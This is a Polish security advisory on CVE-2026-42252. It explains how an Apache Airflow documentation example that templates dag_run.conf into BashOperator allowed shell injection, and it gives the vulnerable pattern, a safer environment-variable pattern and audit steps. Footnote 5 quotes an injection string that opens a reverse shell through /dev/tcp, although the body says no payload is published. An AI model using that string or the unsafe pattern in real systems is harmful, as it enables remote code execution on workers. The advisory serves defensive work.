Luka o krytyczności 9.1 w skali CVSS (Common Vulnerability Scoring System — skala 0-10 oceniająca powagę luki) została zidentyfikowana w Apache Airflow 1. Problem, oznaczony jako CVE (Common Vulnerabilities and Exposures, identyfikator publicznie znanej luki) CVE-2026-42252, nie leży w samym kodzie oprogramowania. Jego źródłem jest oficjalna dokumentacja projektu, która zawierała niebezpieczny przykład kodu 2 3.

Przykład, który miał ułatwić pracę programistom, stał się wektorem ataku umożliwiającym wstrzyknięcie poleceń powłoki 4. Deweloperzy, którzy skopiowali wzorzec bezpośrednio do swoich wdrożeń, nieświadomie otworzyli drogę do potencjalnego zdalnego wykonania kodu (RCE — Remote Code Execution) na serwerach roboczych Airflow 5. Problem dotyczy zwłaszcza środowisk, gdzie wielu użytkowników o różnych uprawnieniach może wyzwalać zadania 6.

TL;DR

  • Produkt: Apache Airflow, popularna platforma do orkiestracji przepływów pracy.
  • Wektor: Wstrzyknięcie poleceń powłoki poprzez spreparowane parametry przekazywane do zadania (DAG). Luka wynika z kopiowania niezabezpieczonego przykładu kodu z oficjalnej dokumentacji 2 3.
  • Identyfikator: CVE-2026-42252, ocena CVSS 9.1 (Krytyczna).
  • Wskaźnik kompromitacji: Obecność w kodzie wzorca BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") bez odpowiedniego zabezpieczenia danych wejściowych.
  • Kogo dotyczy: Organizacje, których zespoły deweloperskie mogły oprzeć swój kod na podatnym przykładzie z dokumentacji Airflow 7. Szczególnie narażone są wdrożenia wielozespołowe, gdzie użytkownicy o niższych uprawnieniach mogą wyzwalać zadania 8.
  • Pierwszy ruch: Audyt bazy kodu wszystkich zadań (DAGs) w poszukiwaniu podatnego wzorca i natychmiastowe wdrożenie sanityzacji danych wejściowych.

Wektor ataku

Problem ma swoje źródło w sekcji dokumentacji Apache Airflow core-concepts/dag-run.html, która opisywała przekazywanie parametrów do zadań 2. Zawarto tam przykład użycia BashOperator w następującej formie:

BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")

Ten fragment kodu był prezentowany bez żadnych ostrzeżeń dotyczących konieczności sanityzacji lub cytowania danych wejściowych pochodzących od użytkownika 9. Szablon Jinja2 {{ dag_run.conf['conf1'] }} wstawia wartość parametru conf1 bezpośrednio do polecenia powłoki. Jeśli deweloper skopiował ten wzorzec do produkcyjnego zadania (DAG), stworzył podatność na wstrzyknięcie poleceń 6.

Uwierzytelniony użytkownik z uprawnieniami do wyzwalania takiego zadania (Dag.can_trigger) mógł przekazać jako wartość parametru conf ciąg zawierający metaznaki powłoki 10. Po wstawieniu do bash_command taki parametr mógł uruchomić niezamierzone polecenie w kontekście użytkownika wykonującego zadanie 5. Może to prowadzić do zdalnego wykonania kodu, nieautoryzowanego dostępu i wycieku danych 11 12. Celowo nie publikujemy gotowego ładunku.

Telemetria wskazuje, że jest to ta sama klasa problemu, która była przedmiotem wcześniejszych poprawek w dokumentacji, zidentyfikowanych jako CVE-2025-50213 i CVE-2025-27018 13. To pokazuje, że błędy w dokumentacji mogą być równie problematyczne co luki w samym oprogramowaniu.

Wskaźniki kompromitacji

Kompromitacja nie jest tutaj związana z konkretnymi adresami IP czy hashami plików, lecz z obecnością podatnego wzorca w kodzie źródłowym zadań Airflow. Zespoły bezpieczeństwa i deweloperzy powinni przeszukać swoje repozytoria w poszukiwaniu następującego lub podobnego użycia BashOperator:

Podatny wzorzec kodu:

# Wzorzec podatny na wstrzyknięcie poleceń
from airflow.operators.bash import BashOperator

BashOperator(
    task_id='przykladowe_zadanie',
    bash_command="echo value: {{ dag_run.conf['nazwa_parametru'] }}"
)

W logach API i historii uruchomień należy szukać parametrów conf zawierających metaznaki powłoki, nietypowe przekierowania lub odwołania sieciowe. Obecność podatnego wzorca kodu bez walidacji danych wejściowych jest sygnałem do pilnego przeglądu, ale sama nie potwierdza wykorzystania luki.

Co zrobić w 24-48h

Rekomendowane podejście zakłada natychmiastowe działania prewencyjne i naprawcze. Poniższe kroki nie zastępują pełnego audytu bezpieczeństwa, ale stanowią kluczowy pierwszy ruch.

  1. Audyt kodu: Należy natychmiast przeprowadzić audyt wszystkich zadań (DAGs) w środowiskach Apache Airflow. Zaleca się użycie narzędzi takich jak grep lub podobnych do wyszukania w repozytoriach kodu wszystkich wystąpień BashOperator, które dynamicznie budują polecenia w oparciu o dag_run.conf lub inne zewnętrzne dane wejściowe.

  2. Wdrożenie poprawek: Wszędzie tam, gdzie zidentyfikowano podatny wzorzec, należy wprowadzić jawne cytowanie powłoki (shell-quoting). Poprawiona dokumentacja Airflow zawiera już bezpieczny przykład i ostrzeżenie 14. Zamiast bezpośredniego wstawiania wartości, zaleca się użycie zmiennych środowiskowych i pozwolenie, aby Airflow poprawnie je zabezpieczył.

    Bezpieczny wzorzec:

    from airflow.operators.bash import BashOperator
    
    BashOperator(
        task_id='bezpieczne_zadanie',
        bash_command='echo "value: $INPUT_VALUE"',
        env={'INPUT_VALUE': "{{ dag_run.conf['nazwa_parametru'] }}"}
    )
  3. Aktualizacja dokumentacji: Chociaż problem leży w kodzie aplikacji, a nie w samym Airflow, zaleca się aktualizację do wersji apache-airflow 3.2.2 lub nowszej 15. Dzięki temu zespoły będą miały dostęp do poprawionej, bezpiecznej wersji dokumentacji dostarczanej z pakietem, co może zapobiec powielaniu błędu w przyszłości.

  4. Kontekst polski: Wiele polskich firm z sektora e-commerce, finansów i data science używa Apache Airflow do orkiestracji procesów ETL i zadań analitycznych. Zespoły deweloperskie w Polsce powinny potraktować ten alert priorytetowo. W kontekście nadchodzących wymogów dyrektywy NIS2 (unijna dyrektywa o bezpieczeństwie sieci), zarządzanie podatnościami wynikającymi nawet z dokumentacji staje się kluczowym elementem zgodności i odporności organizacji.

Źródła

Zobacz też

Przypisy

  1. Odkrycie CVE-2026-42252 wskazuje na znaczącą lukę w Apache Airflow. — bitninja.com › cve 2026 42252 apache airflow vulnerability aler… ↩

  2. Oficjalna dokumentacja Apache Airflow na stronie core-concepts/dag-run.html (sekcja „Passing Parameters when triggering Dags”) zawierała dosłowny przykład BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}"). — nvd.nist.gov › CVE 2026 42252 ↩ ↩2 ↩3

  3. Dokumentacja Apache Airflow dostarczyła przykład kodu dla BashOperator bez odpowiednich cudzysłowów lub sanityzacji. — bitninja.com › cve 2026 42252 apache airflow vulnerability aler… ↩ ↩2

  4. Atakujący mogą to wykorzystać, przesyłając spreparowane wartości do pola conf API wyzwalania, co prowadzi do ataków typu shell injection. — bitninja.com › cve 2026 42252 apache airflow vulnerability aler… ↩

  5. Uwierzytelniony użytkownik wyzwalający mógłby dostarczyć "; bash -i >& /dev/tcp/.../9999 0>&1; #" jako wartość conf i osiągnąć os.exec na workerze. — nvd.nist.gov › CVE 2026 42252 ↩ ↩2

  6. Autorzy Dagów, którzy skopiowali ten wzorzec dosłownie do wdrożeń, gdzie użytkownicy mieli uprawnienia Dag.can_trigger na danym Dag (typowych wdrożeniach wielozespołowych, ofertach hostowanych udostępniających API wyzwalania), mogli być narażeni na wstrzyknięcie metaznaków powłoki poprzez pole conf API wyzwalania. — nvd.nist.gov › CVE 2026 42252 ↩ ↩2

  7. Luka dotyczy wdrożeń, których kod Dag został oparty na przykładzie z dokumentacji sprzed poprawki. — nvd.nist.gov › CVE 2026 42252 ↩

  8. Zagrożenie to obejmuje wstrzyknięcie Jinja2 do BashOperator, co stwarza ryzyko dla wdrożeń, gdzie użytkownicy z niskimi uprawnieniami mają pozwolenie na wyzwalanie DAGów. — bitninja.com › cve 2026 42252 apache airflow vulnerability aler… ↩

  9. Przykład kodu w dokumentacji Apache Airflow nie zawierał ostrzeżeń o cytowaniu/sanityzacji. — nvd.nist.gov › CVE 2026 42252 ↩

  10. To niedopatrzenie pozwala uwierzytelnionym użytkownikom, którzy mogą wyzwalać uruchomienia DAG, na wykonywanie szkodliwych poleceń. — bitninja.com › cve 2026 42252 apache airflow vulnerability aler… ↩

  11. Luka CVE-2026-42252 stanowi znaczące ryzyko dla bezpieczeństwa serwera. — bitninja.com › cve 2026 42252 apache airflow vulnerability aler… ↩

  12. Brak rozwiązania tego problemu może prowadzić do nieautoryzowanego dostępu i kontroli nad systemami, skutkując potencjalnymi naruszeniami danych. — bitninja.com › cve 2026 42252 apache airflow vulnerability aler… ↩

  13. Jest to ta sama klasa problemów co poprzednie poprawki wzorców dokumentacji CVE-2025-50213 i CVE-2025-27018. — nvd.nist.gov › CVE 2026 42252 ↩

  14. Wzorzec w przykładzie dokumentacji zawiera teraz jawne cytowanie powłoki i ostrzeżenie dotyczące bezpieczeństwa. — nvd.nist.gov › CVE 2026 42252 ↩

  15. Użytkownikom zaleca się aktualizację do apache-airflow w wersji 3.2.2 lub nowszej, aby uzyskać poprawioną dokumentację dostarczoną z wydaniem. — nvd.nist.gov › CVE 2026 42252 ↩